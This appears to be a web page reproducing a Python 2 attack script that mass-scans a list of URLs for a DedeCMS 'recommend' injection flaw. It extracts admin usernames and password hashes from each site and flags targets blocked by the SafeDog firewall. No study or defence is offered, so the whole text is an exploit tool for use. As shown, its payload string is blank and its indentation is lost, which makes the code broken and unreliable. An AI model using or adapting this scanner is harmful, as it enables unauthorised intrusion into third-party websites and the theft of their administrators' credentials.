ローカルファイルを読み込んでスキャン
1280 ワード
#!/usr/bin/python
#coding:utf-8
#------------------------
#time:2014-3-3
#write:Jack
#info: dede recommend exp
#------------------------
import re, urllib, urllib2
enter = r'\w.{1,30}'
dog = r'safedog.cn'
file = open('url.txt','r')
dbline = file.readlines()
def exp(url):
expolit = " "
ackurl = str(url+expolit)
try:
openurl = urllib2.urlopen(ackurl)
dbtext = openurl.read()
try:
textres = r'\|\w{1,20}\|\w{20}'
namepasswd = re.findall(textres,dbtext)
if len(namepasswd)<1:pass
matter = str(namepasswd[0]).split('|')
print url +' name:'+ matter[1]+' '+'passwd:'+matter[2][3:19]
except:
print url+': '
except:
#print dbtext
#errortext = re.findall(dog,dbtext)
errorurl = url
#if errortext == True:print ' DOG'
print ' url , DOG CDN , !'+errorurl
#global dberror
#dberror= []
#dberror.append(errorurl)
for i in range(len(dbline)):
dbon = str((re.findall(enter,str(dbline[i])))[0])
exp(dbon)
#if dberror == True:exp(dberror)